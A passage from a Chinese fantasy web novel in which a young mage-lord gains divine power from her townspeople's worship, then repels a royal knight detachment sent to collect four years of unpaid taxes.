“朋友，胡乱猜测是很不好的行为，”云漠严肃地说，“正如你所见，要维持一座城池的治安也不是什么容易的事情，巡逻队的每个人都应该配备必要的自保器具。另外，我还要组织一支狩猎队，用来对付那些可怕的野兽，光靠那些脆弱的木棍和绳索可对付不了野兽的尖牙利爪。” 哈，每一个发动战争的人类动手前都是这么说的！ 矮人完全不相信她这套说辞，胡乱敷衍几句，“好吧好吧，你说什么是什么。那么我的朋友，你需要对付多少人，我是说对付多少野兽的武器呢？” 第84章 质变 作为本地近几年来异军突起的势力，新阿索城的每一项新变革都能带来小规模地震，更别提大肆采购武器这种敏感举动，自然引发了外界关注，继而带起一系列连锁反应。 其中最明显的一点就是，大家对她的态度更友善了。 甚至附近几个小国、大城的城主和部族领袖还特意派来使者，释放善意的同时也旁敲侧击，想弄明白这一举动到底是冲谁去的。 哪怕一千多头猪乱起来也够叫人头痛的，更何况还是一千多名训练有素、拥有武装的农夫！ 不，配备武装、经过训练的农夫已经不是单纯的农夫，而是拥有可怕战斗力的士兵！ 当然这都不是重点。 最要命的是，这些士兵预备役都隶属于一名年轻又强大的魔法师！ 要不是有魔法师坐镇，周围的势力早便发难了，还用得着什么试探！ 云漠久违的觉得有趣。 果然是以理服人，瞧，大家忽然就都变得彬彬有礼起来。 对此，云漠施展了一系列政治话术，看似动听的言语说了一大堆，实则什么有用的信息都没透露。 但当前来问询的使者变成银星时，云漠自然无法以同样的态度和手段对付自己敬重的师长。 她亲自将精灵请进自己温暖的树屋，邀请对方坐在柔软厚实的大椅子里，然后熟练地燃起炉火煮茶，又从烤炉内端出热乎乎香喷喷的栗子面包。 入冬前，蒲公英照例带一群小猴子过来打工，并请云漠帮忙将甜美多汁的水果做成果干，留作冬日储备粮。 而云漠则得到了大量干果和部分尤其肥美的水果，后者被她分别做成了果脯和脆果片，当零嘴儿、煮果汁饮品都很不错。 栗子面包里加了很多打碎的栗子果肉、酸甜可口的果脯碎，口感非常丰富。 趁热掰开被烤成焦黄色的面包外壳，就能看见里面丰富的黄油栗子泥，坚果特有的厚重香气相当诱人。 栗子泥没有碾得很碎，肉眼可见许多大块果肉，软糯香甜，有种咬到就赚到的快乐。 温柔的香气萦绕在树屋内，一人一精灵都专心品尝，谁也没有先开口。 空气中只能听见细微的柴火爆裂声、茶杯底部碰触桌面的生意，惬意极了。 等美味下肚，热茶见底，银星才委婉地道出自己的担忧： 精灵非常担心人类弟子被权势和力量诱惑，走上某些可怕的老路。 “老师，我和您一样厌恶战争，但很多事情并不是厌恶就不会发生。”云漠平静地说，“远离战争的最佳方法就是率先拥有令人恐惧的实力……” 逃避是懦夫的遮羞布，仅此而已，永远解决不了问题。 但恐惧可以。 并非自己恐惧，而是令他人恐惧自己。 云漠或许无法彻底消灭战争，但如果掌握了真正的力量，就能在必要时刻直接解决发动战争的人，防患于未然。 这难道不是很好吗？ 摇曳的火苗映照在她稚气未脱的脸上，满是坚定，没有一丝动摇。 这样的话从一个不满二十岁的人类女孩儿口中说出，不禁让银星有片刻错愕。 但精灵很快就微笑起来，深邃的绿眸中荡开浅浅的涟漪，“你很聪明，也很有魄力，这样很好。” 曾经的精灵森林就是太温和了，所以才让某些卑劣的人类滋生出阴暗，并胆敢付诸实践。 但经历了魔法和血肉的洗礼后，同样的事情永远不会发生第二次。 力量，你可以不使用，却决不能没有。 冬天的第一场雪落下时，新阿索城的外城也正式建设完毕，新加入的居民们都领到了属于自己的身份牌和编号，并在内城区“前辈”们的教导下，初步适应了新生活。 这里干净、整洁，穿着温暖冬装的巡逻队员穿梭在大街小巷，传递着安宁的讯号……一切跟她们以前居住的地方很不一样。 “妈妈！”一个小家伙兴奋地推开门，裹挟着飞舞的雪片冲到母亲面前，“我要报名参加巡逻队！” 年轻的母亲闻言停下手中的针线活儿，笑着说：“哦，那可不是什么容易的事。” 她们是今年刚刚加入新阿索城的，原本十分忐忑，但没想到这里的人都出奇友善，不仅分给她们田地、帮忙开垦、教导耕种，还帮助收集冬天需要的柴火…… 一切都美好得不真实。 当初来到新阿索城时，所有人第一眼见到的就是巡逻队。 巡逻队员威风凛凛、待遇优厚，家人还能享受各种福利，听说还能经常见到领主大人呢！ 没人不想成为巡逻队的一员。 小家伙趴在她膝头，仰着脸儿，眼睛亮闪闪的，“我会努力的妈妈，而且妈妈，我今天听说啦，以后巡逻队中的优秀成员会被选为战士呢！” 战士都是英雄。 每个小孩子都想当英雄。 “战士？”母亲愣了下，眉宇间立刻升腾起深深的担忧，“要打仗了吗？” 没什么比战争更可怕。 “不，”孩子晃了晃脑袋，有些气愤地挥了挥拳头，“听说是外面有坏人，领主大人想保护我们呢！” 领主大人给她们房子和田地，她们也想保护领主大人！ “那些该死的杂种！”母亲低声咒骂一句，脸蛋都泛起愤怒的潮红。 年幼的孩童不懂，她可很清楚，一定是又有什么贵族老爷们，或者干脆就是那混蛋国王陛下发疯了，想讨打呢！ 多可恶啊，她们的好日子才过了几天！ 想到这里，年轻的母亲忍不住从领口中掏出一个小挂坠，轻轻亲吻后用额头抵住，低声祈祷起来。 孩子有些好奇，“妈妈，您在做什么呀？” “向领主大人祈祷，希望她能够健康强大，保佑我们。” “可是领主大人听不见呀。” “不，孩子，只要我们足够虔诚，她会听见的。来，跟我一起做……” 第二天，雪停了，有邻居来敲门。 母亲忙过去开了，“请问有什么事吗？” 邻居难掩兴奋，“听说那边正在为领主大人制作雕像，需要人帮忙……” 话音未落，年轻的母亲便抓了外套穿上，语气坚定地说：“走吧！” 这是她们唯一能为领主大人做的了。 托人口激增，劳动力暴涨的福，原本可能要三五年才能完成的雕像，竟然一年多就完工了！ 云漠二十岁的这年春天，玛雅姨妈亲自主持了盛大的祭祀和雕像揭幕仪式，并将这一天定为固定庆祝节日。 经过过去几年的努力，新阿索城粮食亩产已经超过300斤，简直像奇迹！ 食物是一切的基础，吃饱了才能有希望，才能想别的。 霍莉偷偷去藤部落为核心成员们定制了统一的庆典服装，胸口和后背都绘制着云漠亲自设计的家徽图案，看上去气派极了，也威风极了。 所有人都热烈地注视着，羡慕得不得了。 我们什么时候也能穿上呀！ 玛雅姨妈还综合人类贵族世界繁琐的礼仪重新制定了一整套流程，让领主云漠亲自为贡献最大的人做出表彰等等。 然后其中一名接受表彰的居民因为激动过度而当场昏倒，睁眼发现是领主大人把自己救醒之后，马上又晕了过去。 曾经的养牛人首领阿茜，有幸被选为内城区杰出代表，兼宣誓祷告人，激动得好几天没睡着，每天都在睁着眼睛疯狂背诵，生怕出一点儿错。 虽然整篇祷告词也不过百十个字…… 而今天，终于到了验收成果的时候了。 在所有人的注视下，阿茜的面庞上翻滚着激动的红色，颤抖的声音中满是虔诚： “感谢领主大人为我们带来丰收和健康，使我们远离饥饿和疾病……我们将献上所有的忠诚，永远追随您，侍奉您……” 虽然养牛人部落彻底消失在历史长河中，但曾经颠沛流离的日子一去不复返，她们终于完成了祖辈们的遗愿，再次回归人类城市，过上安宁的生活。 随着祷告进行，阿茜的声音渐趋平稳，一千多名居民也跟着念起来，最终汇成一股洪流，雀跃的注入云漠的精神世界。 她感应到了暴涨的信仰之力！ 这种只可意会不可言传的感觉非常微妙。 云漠的外表没有任何变化，没有泛金光，也没有长出翅膀或什么奇奇怪怪光圈，更没有任何语音提示或文字记录什么的，但她就是清晰地感知到，自己对这个世界运行的规则之力的掌握更进一步了。 如果说之前的云漠是一位天外来客，那么现在的她已然窥见了这个世界本源力量的一点蛛丝马迹，彻底消除隔阂，成为了这个世界中的真正一员，掌握核心力量的一员。 曾经繁琐的屏障潮水般褪去，如张开的蛤蜊般袒露柔软的核心，她尝试着调动精神力，那种空前的流畅感令她浑身舒畅，几乎忍不住要叹息出声。 共鸣的瞬间，她身体的每一个细胞都接收到了魔法元素的雀跃和欢喜，这是双方羁绊加深的表现…… 如果没有意外，那么云漠以后施展魔法的消耗将进一步降低，解构将更加流畅，魔法实力进一步增强。 还有更令人惊喜的一点： 她发现自己的语言开始有了力量。 说起来可能有些荒谬，但确实如此。 祷告结束时，云漠例行说了一番安抚、鼓励的话，所有人的神情都迅速狂热起来，眼中闪耀着信任和向往的光。 就连云漠自己也相信了，相信自己描绘的美好未来，相信梦幻蓝图中的每一幅场景。 是的，我可以，我能行。 这就是信仰的威力。 第85章 神 好处不仅限于此。 云漠再次惊喜地发现，哪怕庆典结束，所有人都冷静下来，各自回家，她依然能够隐约感应到四面八方传来的居民的情感，浓烈的，喜爱的，憧憬的，甚至是膜拜的。 就像她和众人之间摆着一台信号检测仪，无视时间和空间，努力运转着，建立起某种奇异的链接。 她出奇心安，像被热水包裹着一样惬意、放松，冥冥之中仿佛有人告诉她，这就是她的底气。 只要有源源不断的信仰，她的未来就有无限可能。 这显然已经彻底超出了对普通领袖的信赖范畴，上升到一种近乎玄幻的程度。 云漠心中陡然泛起某种猜想，某种曾经因为过分遥远，遥远到几近虚妄而被迫中断的可能。 怀揣着花样翻新的猜测勉强入睡，第二天一早，云漠没有着急下楼用早餐。 她集中精神，开始在心底默念一个人的名字。 清晨的城主府一派繁忙，人们安静而迅速地穿梭在各处，挥舞着抹布，将边边角角都打扫得干干净净。 大烟囱里早就咕嘟嘟冒起白烟，下端炉火将整个厨房都熏得暖烘烘的，几只炉头上都升腾起水汽，不断有人从烤炉中拖出有着焦黄外皮的大面包。 这种面包是用剔除了麸皮的精麦粉做的，口感细腻，蓬松柔软，非常可口，即便放凉了也不会特别坚硬，涂抹黄油、果酱，或是夹入煎蛋和熏肉都很好吃。 另外还有一只单独的火炉，上面坐着一串水汽笼罩的笼屉，里面是领主大人最爱的肉包子。 餐厅的大木桌上铺了绘有精致纹样的洁白桌布，中央是一只插着还缀有晶莹露珠的鲜花的大陶瓶，好闻极了。 “夫人坐在这里，领主大人坐这里……” 哪怕已经做过无数次，小河还是不厌其烦地念叨着，摆放餐具的神情严肃又认真，活像在做什么了不起的大事。 新阿索城的居民越来越多，内外事情也繁琐，领主大人待在城主府的时间也越来越少，但她很少摆架子，每次在家都喜欢下来和大家一起用餐，说是人多热闹，吃饭也香。 这是现在的城主府众人为数不多能近距离接触领主大人的机会了，算是在城主府工作的福利，大家都很珍惜。 至于内城区和外城区的普通居民，恐怕只有每年几次大型庆典和祭祀的时候才能见到领主大人了吧。 “这盘奶油蘑菇焗兔肉放在哪里呢？” 厨房的人端着一只大银盘出来，向小河询问。 小河年纪虽小，却是城主府的元老级成员，又跟在玛雅夫人身边做事，日渐成熟，大家有事都喜欢来问她。 “哦，这道菜是夫人爱吃的……”小河的话还没说完，突然条件反射般转身行礼，“领主大人。” 厨房的人愣了下，抬头望那边看了眼，疑惑道：“领主大人？” 楼梯空荡荡的，没有人呀。 小河也愣住了，扭头问她，“你刚才有没有听见什么声音？” 对方摇头。 小河短暂地迟疑了几秒，果断洗手上楼。 她明明听到领主大人的声音了！ 领主大人需要我，她在叫我！ “咚咚！” 当敲门声响起，云漠心中的惊喜难以言表：真的成功了！ “是小河吗？进来吧。” 小河推门而入，脸上带着几分欢喜，“我就说没有听错，领主大人，您有什么吩咐呢？” “真是好孩子，”云漠同样开心地摸了摸她圆鼓鼓的小脸蛋，“也没什么，就是突然想跟你说说话。” 领主大人想跟我说话！ 小河兴奋得脸都红了，眼睛亮晶晶的，“好，好的！” 云漠例行问了她最近的生活也学习，并肯定了她在算术方面的进步，然后话锋一转，“大家都很努力，我很高兴，不过想到昨天的庆典，也难免生出几分担忧，总觉得那种程度的庆贺只有神明才配享有，而我不过只是一个小小的领主罢了……” “领主大人，您怎么会这样想呢！”小河的声音突然就大了起来，空前坚定地说，“您就是我们的神啊！” 将我们从死神手中抢回，使我们远离疾病和饥饿的折磨，赋予我们新生的神！ 话出口的瞬间，云漠的灵魂一阵战栗，虚空中仿佛响起一阵嗡鸣，那嗡鸣迅速震碎了横亘在她认知中的雾蒙蒙的阻碍。 一切，迎来清明。 信众真诚的肯定足以驱散一切迷茫。 云漠感受到了前所未有的愉悦，身体的每个细胞都发出快乐的呻/吟。 这愉悦源自灵魂深处，随心脏的每次跳动，沿着血液游走在四肢百骸，彻底滋润了她干涸的内心。 窗外的桃花快要落尽了，茵茵草地上盖了一层浅浅的粉，空气中残留着淡淡甜香，柔软动人。 可能过了很久，又可能只过了几秒钟，云漠缓缓吸了口气，再慢慢吐出。 她觉得自己有点不一样了。 云漠抬起手，轻放在小河头顶，缓慢而郑重道：“你将拥有健康的体魄，聪慧的头脑，只要用心，你的学业会取得巨大的进步，种植也会迎来丰收。” 从第一个字眼出口的瞬间，云漠的掌心就泛起淡淡的光晕，那光晕伴随言语内容不断变幻，有的就地消散，有的则顺着掌心进入小河的身体。 云漠全程仔细观察，发现“健康体魄”“种植丰收”的光芒都维持住了，而“头脑聪慧”“学业进步”都烟消云散。 好吧，她大概确定了自己的“职业”方向，果然是与天赋和特长有关： 如果未来真的可以完全成神，那么她应该是掌管丰收和健康的神明。前者毫不意外源自木系魔法师天赋，后者则得益于前世的健康卫生知识和药剂师职业。 至于知识和学业啥的，应该是无能为力了。 小河注视着她，忽然惊喜道：“领主大人，好温暖呀！是魔法吗？” 云漠笑笑，“比魔法更神奇。” 有点累，但这种消耗与精神力无关，完全不影响她立刻抬手轰几发魔法大炮。 也不是普通的身体疲惫，应该是对信众赐福的另开一篇吧。 质变突然降临，欣喜之余，云漠也有太多疑惑，迫切地需要找到答案。 没人不喜欢进步，但如果短时间内跨越太大，也可能有隐患。 精灵森林的六角藏书室中遗留有大量人类精英的笔记，这些年云漠陆陆续续摘抄回许多，也在城堡三楼设立了一间藏书室，受益匪浅。 可惜作者们大多是沉迷于钻研学问的技术型人才，名下势力不多，在领导和组织方面的成就相当有限，笔记中也没有多少相关材料可以参考。 资料指望不上，那么就要问活的生物。 在云漠迄今为止认识的人物中，知识面最广最杂的当属游吟诗人灰鸦，几乎各地各个领域各种族的知识、传说都有涉猎。 可惜她不在，也不知什么时候会再来。 除此之外，似乎就只有精灵了。 但有个问题：立场。 云漠虽然有两位精灵老师，新阿索城和精灵森林的官方关系也一直很和睦，但毕竟不是同族。 如果云漠后期成神，将直接颠覆双方对彼此的定位和整体实力对比…… 对异族邻国而言，真的太敏感了。 云漠可以肯定，纳林霜和银星都是欣赏，甚至相当爱护自己的。 但精灵王未必。 她不确定精灵王对自己处境变化的态度，更不确定在这种可能发生的态度变化压力下，纳林霜和银星对自己的感情是否会变质？ 不，或许是自己多虑了。 如果现在的自己真的已经凝聚了神格，哪怕细弱游丝，也绝不是普通魔法生物随随便便就能消灭的。 神，是可以得到世界规则和本源之力的保护的。 这个结论无人告知，就这么凭空出现在云漠脑海中。 这才是她真正的底气。 暂时安下心来之后，云漠重新恢复了活力，兴致勃勃地开始了新一轮尝试。 然后她就发现，并非每个人都能听到自己的召唤。 一次成功的只有玛雅姨妈、霍莉、大河小河两姐妹，还有被救了女儿的青草，曾经的养牛人首领阿茜，还有巡逻队的后起之秀，死忠派阿苗。 其余人要么只能模糊地感应到某种声音，却无法分辨内容，要么干脆就什么都听不到。 心思最敏感，见识也最广博的玛雅姨妈第一个猜到了真相，过分强烈的震撼和狂喜席卷而来，令她当场昏倒过去，还是霍莉拿来嗅盐唤醒的。 醒来之后的玛雅姨妈久久无法平复，但开口的第一句话却依旧老辣精准，“我想，这应该与信仰是否纯粹有关。” 越虔诚的信徒越能得到神明的眷顾，自然也最能领会神明的心意。 她和霍莉早就是云漠的家人了，自然是毫无保留的信任，而其他几个也都将云漠视为救世主，真心同样不逊色。 云漠深以为然，并依次为大家进行了赐福，大多数都成功了，成功词条也还是集中在“健康”“丰收”两项上。 不过轮到霍莉和青草时，云漠又多加了一条，“无上美味将从你手中诞生。” 成功了！ 果然，谁说食神不是神？！ 同一时间，野外的一条小路上，一支十几人的队伍正稀稀拉拉往新阿索城的方向赶来。 为首一人赫然是一名骑士，他骑着白色的骏马，穿着精致的铠甲，提着长剑，背后还负有一面精巧的圆盾，威风凛凛。 他率先来到一处高坡上，眯起眼睛望向远方，视线尽头是一座小小的城堡。 “波尔先生，那就是新阿索城了吧？” 骑士身后慢慢走上来另一匹马，马上坐着的，正是税务官波尔。 第86章 战斗 “……是？” 波尔犹豫了下才点头。 骑士微微蹙眉，对他的回答并不满意，“距离你上次来还不到两年，难道就已经忘记了吗？” 是就是，不是就不是，什么叫“是？” 难道还要我来告诉你吗？ 波尔好歹也是人人闻风丧胆的税务官，除了上次来新阿索城那一次，从没有人敢这样无礼，顿时就不舒服了。 可对方是陛下的私人骑士，还是一位拥有杰出武技的大剑士，税务大臣见了都要恭恭敬敬，更别提自己了，也只好忍耐。 “应该没错，”波尔假笑几声，“不过毕竟不熟悉，而且好像也有了点变化。” 他记得上次来时，附近的树不是这个样子的？ 不过短短两年而已，树可以长高长粗，可位置不应该变动吧？ 但那座城堡和周围的山丘又确实没有变化。 真奇怪。 骑士本来就比他高大，坐骑也高，说话时就有点居高临下的，“克劳德出任领主近四年却不缴一枚银币的税，陛下对她非常不满，你们最好没有什么暗中交易……” 各地领主偷税漏税是常态，但像克劳德这样直接光明正大半个子儿都不交的，真的不多。 即便不为了这点税款，奥菲三世也一定要维护自己的颜面。 不然万一别的领主和贵族发现不纳税也没什么严重后果，人人效仿，丹茂王国就完蛋啦。 波尔顿时紧张起来。 他并不想来，但上次就是他信誓旦旦地为新阿索城作证，说这里如何如何荒凉，农夫们生活又是多么困苦，短时间内维持基本生计都艰难，所以一两年内恐怕无法纳税。 可是……四年不纳税确实有点过分了啊克劳德女士！ 哪怕您糊弄着上交几斤小麦呢！ 听说新阿索城的对外经营还在继续，似乎还有好转的趋势，但税款却迟迟不见动静，奥菲三世和税务大臣都很不满，甚至还把他这个小人物从角落里挖了出来，又派来皇家私人骑士团，明确下令训斥领主云漠·克劳德，并允许以任何方式收缴拖欠税款，并附带利息。 如果云漠·克劳德拒绝承认自己的错误，并是有心逃税，那么骑士团有权动用武力，将其就地处决。 一路上波尔都怕得要命，也后悔得要命，后悔当初答应为云漠隐瞒。 可转念一想，如果当初不是克劳德女士帮助自己，恐怕自己早就饿死了…… 他曾试图偷偷传讯，让云漠提前防备，但都被这位临时的骑士团长威廉识破，一路憋到现在。 警告完了波尔，威廉命令继续全速前进。 刚下过牛毛细雨，春天的草地湿润而柔软，马儿最喜欢这样的触感，跑得飞快。 随着距离不断缩短，一度模糊的城市边缘渐渐出现在众人视野之中，队伍里的气氛渐渐变得诡异，有人诧异地大喊：“天呐，那是什么！” “停下！” 威廉率先勒住缰绳，脸色变得很难看。 他突然明白刚才波尔为什么那么迟疑了： 不久前大家看到的疑似环形森林的地方，竟然是高大坚固的外城墙！ 那城墙以最坚硬的树种为骨架，再用沙石混合着草根、石块等填充缝隙，赫然就是一道密不透风的十多米高的围墙！ 围墙外部还有一条蜿蜒的护城河，足有五六米宽，水流湍急，没有船只和桥梁根本无法渡过。 最离谱的是，那些组成围墙的树竟然还都是活的，高大茂密的树冠郁郁葱葱，随风摇曳，最外层刚萌发的新绿嫩嫩的，尤其可爱。 但威廉却觉得那些嫩叶在嘲笑自己！ 怒火中烧的他用力抿着嘴唇，猛地扭头看向波尔，“这就是你说的实力低微，刚入门的魔法师名下的落魄废城？！” 该死的，这根本不是纯粹人力可以攻克的城墙！ 那些巨树都非常高大粗壮，恐怕至少要七八个人才能抱得过来，又是那样的形状和形态，根本不可能是天然形成的。 能在短时间内做到这一点的，只有木系魔法师！ 而且还一定是一位相当强悍的魔法师！ 但波尔看上去比他更惊讶！ 不是，上次真的不这样来的！ 威廉看上去恨不得把波尔打一顿。 这混帐，提供的所有线索都是错误的！ 在此之前，王都所有高层都没把新阿索城放在眼里： 没有任何亲信，实力低微，境内人口不过三五百…… 所以威廉只带了不到二十名骑士过来！ 而且最初目的根本不是对付云漠，而是为了后期收缴税款，用财产抵账，押运来的！ 可现在？ 大规模的城镇想要正常运转，必须有大规模的人口支撑，还要有足够的人才、建设和管理手段。 新阿索城的现状足以说明，它早已完全不是曾经的落魄废土，而是一座相当年青又强悍的新城！ 这是个陷阱！ 一个税务官和心怀鬼胎的异地领主相互勾结的陷阱！ 威廉心中立刻冒出这个可怕的念头，刚要下令后撤，却见新阿索城的外城城墙上升起一股红色的烟雾，同时还伴有几声有节奏、有间隔的哨声！ “大人，我们被发现了！” 一名有着丰富外出经验的士兵立刻喊道。 这再次说明，新阿索城甚至已经悄然建立起一整套完善的侦察、通讯手段！ 这绝不是普通的小城所能具备的实力。 所有人的脸色都变了。 新阿索城的哨所通讯以多色烟雾和旗语相结合，再配合不同频率和长短的哨声、鼓声，能在第一时间以最简短最精准的形式传递信息。 比如这次的红色烟雾，就代表陌生来客非善意，而三声短哨响代表全副武装，紧随其后的一声长哨声代表骑兵，一声鼓点表示人数在十人以上，五十人以下…… “敌袭！” 看见烟雾的巡逻队员立刻警戒起来。 这是她们遇到的第一次成规模敌袭示警，难免有点紧张，但平时相关训练太多了，身体早已形成肌肉记忆，大部分人的大脑还没反应过来，身体已经习惯性动作起来，没有半点混乱。 大白天的敌袭？ 骑兵玩突袭，而不是刺客？ 云漠瞬间联想到王都来人，觉得这恐怕是个误会，因为没有哪个蠢货会选在大白天偷袭。 但对方不提前打招呼就突然到来，还是十人以上的全副武装的骑兵，显然也没憋好屁，说是敌袭也不算冤枉。 想到这里，云漠立刻熟门熟路地踩着藤蔓翻出窗外，看着队员们井然有序地抓取武器、排列阵型，普通居民们则第一时间跑回家中藏好，不添乱，不禁满意地点了点头。 很好，要的就是这种果断。 她决定趁这个机会试试战士们的分量。 新阿索城巡逻队是基础，主要用来示警和保障基础治安、日常狩猎等。 从去年开始，云漠从中挑选80名精英组成军队，专门负责正式保卫工作。 新阿索城地处山地和森林交界处，地形复杂，多河多起伏，在目前以防守为主的情况下，并不适合搞擅长冲锋的骑兵，所以这支队伍仅由两个大部分构成：弓兵和步兵。 其中弓兵配备铁箭头，步兵配备铁刀，双方都另有一面藤条盾牌和一把尖锐的小型薄刃短匕首。 铁制兵器杀伤力强，但价格高昂，损耗也高，哪怕现在云漠颇有家资，从长远角度考虑，也没舍得给大家再配铁盾。 而且那玩意儿忒沉，倒不如轻便的藤条盾牌灵活，藤条又有一定弹性，可以有效卸力…… 现阶段武器数量和杀伤力有限，为最大限度保障效果，所有兵器开刃部位都浸泡药汁，务必保证破皮即放倒。 另外弓兵单独携带药粉包，必要情况从上风□□出，落地即碎，瞬间迷翻一大片！ 威廉等人正进退两难时，突然听见外城围墙“吱呀呀”响了几声，然后便有吊桥缓缓落下。 波尔大喜，“瞧啊，一定是您误会了，克劳德女士实在是位温柔善良又平易近人的贵族，她来迎接我们……” 话音未落，里面就嗷嗷叫着冲出来一群穿着皮甲的战士？ 这群人明显经历过专业训练，行走成排，冲锋时阵型也没怎么乱。 最前排的那群人手持藤盾，上下拼接形成一面灰绿色的藤墙，完美掩护住后方，紧接着便飞出几排箭矢！ 尖利的箭矢刺破空气，发出刺耳的呼啸声，看飞过的痕迹和落下的幅度，完全将威廉所有人都罩在里面！ 不打招呼，说打就打，完全不讲武德！ 威廉的脸都绿了！ 大剑士惊人的战斗嗅觉在此刻演绎得淋漓尽致，反应快得惊人。 哪怕威廉气昏了头，竟也不忘边拔剑边语言威慑，“云漠·克劳德，你公然袭击王都使者，罪大恶极，我将以陛下的名义斩杀你！” 说完，威廉将长剑用力向下一挥，数十支箭矢像撞上看不见的墙，瞬间由动变静，直直坠落，而他身后十多名骑士也马上冲了出去。 波尔的眼珠子都要瞪出来了！ 啊啊啊这就开战了吗？ 这么仓促？ 会死人的啊！ 你们双方真的不再见面后细细商量一下吗？ 完蛋了，我死定了！ 陛下不会放过我的！ 骑士团风一般呼啸着从波尔身边掠过，带走了他尖利破碎的崩溃呼喊，“停下，停下来啊！一定是误会啊啊啊！” 云漠一口气逃税四年的行为确实彻底激怒了奥菲三世，直接导致后者一口气出动了足足二十名骑士。 而骑士跟普通士兵的最大区别，就在于骑士大多出身贵族，从小便接触深奥的武技，每一位都是真正入门的斗者。 所以别看这次来的骑士团只有二十人，实际上在面对普通士兵时，理论上每个人都能以一当十、甚至当百，砍瓜切菜不过如此。 距离外城大门还有数十米时，骑士们便先后挥舞起自己的佩剑，一道道剑气瞬间撕裂空气，直扑新阿索城的士兵们而去。 弓兵们立刻后退，步兵们则握紧了盾牌，但几乎是立刻就被击中，哗啦啦倒了一大片。 普通士兵面对真正的骑士斗者，差距就是这么大。 残酷的战争初次露出狰狞，弓兵们陷入慌乱，脑海中一片空白，阵型都乱了。 这时一道稚嫩的嗓音响起，带着愤然的决心和一往无前的勇气，“怕什么，他们不让我们活，我们就拉他们一起死！配药，放箭！” 面对远超己方的实力，恐惧在所难免，而英雄的挺身而出至关重要。 阿苗的喊声立刻唤回大家的神智。 或者说很多人根本没有清醒，只是有人带头，就像找到方向一样，本能地顺着她的话去做。 至于究竟干了什么，或许等一切结束后，本人都回忆不起来。 “嗖嗖！” 一枚枚药包被射了出去。 奥菲三世派威廉来的初衷是捞钱、震慑，并非一开始就冲着打仗来的，倒不必派精锐来大材小用。 所以这些骑兵也不过中等水准，大部分人发射出一两道剑气后就需要“冷却”，不能立刻继续超远距离攻击，面对迎面射来的药包着实有些手忙脚乱。 那些药包有的落地，有的砸在马儿和骑士身上，有的则被骑士抬手击飞，但包装纸很薄，一碰便立即裂开，露出许多灰色粉末，随风飘散。 “啊，有毒！” “屏住呼吸！” 但纸包的数量太多，扩散也太快，哪怕骑士们反应迅速，还是有不少人吸了几口进去，几乎立刻就头晕目眩、肢体麻木，再也无法维持平衡，从马背上摔了下去。 在后面观察的威廉迅速上前。 他高高扬起手臂，挥动长剑的瞬间，剑刃上竟隐隐泛起红芒。 第87章 落网 在威廉看来，这些人胆敢反抗甚至主动攻击就非常魔幻。 因为底层贱民对于贵族王国利器理应有种与生俱来的恐惧和卑微，哪怕被踩进泥里，再往脸上吐一口唾沫，用靴子底狠狠碾几下也不会反抗。 在以前，在别的地方，一名王国士兵就可以轻松俘获一个村子的百姓而不必担心他们试图逃跑。 平民本该和牲畜一样任人宰割，这已经是常识。 然而现在，常识被推翻，骑士荣耀坠入凡尘，滚满泥巴，彻底颠覆了他过往的认知。 威廉心中熊熊燃烧着怒火，发誓要将这些卑贱的虫子烧成粉末。 他确实有骄傲的资本，出身贵族，祖父是公爵，本人又有惊人的天赋，不满三十岁就触及到了大剑士的边缘。 这次本该是镀金之行，如果没有意外，回去之后就能晋升，再攒几次资历就能提升为副团长，前途一片光明。 他绝不允许出现任何岔子，也不允许自己和家族的名誉被玷污。 一切拦路石都将被粉碎！ 普通骑士和威廉的能力完全不在一个层面上，他一连发出三道剑气，锐气森然，中间没有丝毫滞涩，极其流畅完美。 一道剑气挡下射来的弓箭，第二道剑气就把前排防御步兵打飞，纷纷吐血，摔在地上爬都爬不起来。 中间的第三道剑气落后半分，但加锐利，完全是冲着杀死那些士兵去的。 没人会怀疑它的威力！ 可第三道剑气还没飞到新阿索城的士兵们面前，就被一堵凭空出现的藤墙挡下。 藤墙轰然炸裂，剑气也消散于无形。 “克劳德！” 威廉从牙缝里挤出这个名字。 哪怕没有碰面，威廉也在瞬间辨认出这个领主克劳德的攻击，因为这附近不会有第二个人类木系魔法师，而精通木系魔法的精灵绝不会轻易插手人类社会的争斗。 云漠没有出现，只是操纵藤蔓把倒地的伤兵拖回城墙内。 “克劳德，你这王国的败类，贵族的耻辱！你手下的士兵公然对王国骑士团发动袭击，你知道这意味着什么吗？”威廉冷着脸呵斥道。 “意味着我的命令行之有效，而她们令行禁止！”云漠还是没有出现，然而空气中的魔法元素却开始飞快地翻滚聚集。 意味着我终于正式开始造反了！ 威廉虽然不懂魔法，但是成长到某种程度的强者总会有惊人的战斗直觉。 他敏锐地意识到了空气中发生了某种可怕的变化，汗毛都在一瞬间立了起来，立刻大声下令戒备。 动物比人类的直觉更加敏锐，就在威廉开口的前一刻，他们座下的马匹都开始躁动不安，有的甚至试图掉头逃跑，差点将马背上的骑士甩下来。 骑士团的马匹都是最年轻强壮的，皮毛油光发亮，长长的鬃毛还被编成漂亮的小辫子，挂上各种好看的装饰，看上去威风凛凛。 但是近几十年来王国附近都没有发生过战争，没有经历过真正的大场面，马群平时看着还好，真遇到事儿就炸毛乱了套。 “控制住你们的马！”威廉大声道。 他们是骑兵，如果连自己的马都控制不住，威力必然大打折扣，传出去也将沦为耻辱。 话音未落，原本坚硬的地面突然像流水般鼓动起来，紧接着一根根粗壮的藤蔓破土而出，将骑士团掀了个人仰马翻，哀嚎连连。 “啊！” “魔兽！魔兽！” 有一名骑士不走运，被破土而出的尖利藤蔓连马带人从下到上刺了个对穿。 藤蔓没刺中要害，那骑士一时半会儿死不了，剧烈的疼痛让他撕心裂肺地惨叫起来。 他和年轻的同僚们从未真正上过战场，出身也好，平生受过最大的苦难就是训练中的磕碰。 当真正的疼痛袭来，他看着喷涌而出的血液瞬间崩溃，一个劲儿地发出哀嚎。 浓烈的血腥味迅速扩散，刺激得马匹更疯，无论骑士们怎么喊都不听，现场简直一片混乱。 “见鬼！”威廉高声咒骂着，却也顾不上继续鼓舞或痛斥别人了，他正集中全部精神驾驭马匹横冲直撞，施展各种技巧在铺天盖地的藤蔓攻击中全力躲闪，时不时挥出一道剑气，砍断那些蟒蛇般的攻击。 这哪里是什么魔兽，而是卑鄙阴暗的木系魔法师拙劣的技巧！ 马发疯比人失控更可怕，刚还威风凛凛的20人骑士团瞬间倒了一大片，只剩下六七个还勉强能骑在马上，跟随在威廉身后左右突击，十分狼狈。 藤蔓自地下而来，速度快，角度刁钻，让人防不胜防。 所有人的体力和斗气都在以惊人的速度下滑，再这么下去不用敌人真正露面，磨都能把他们磨死。 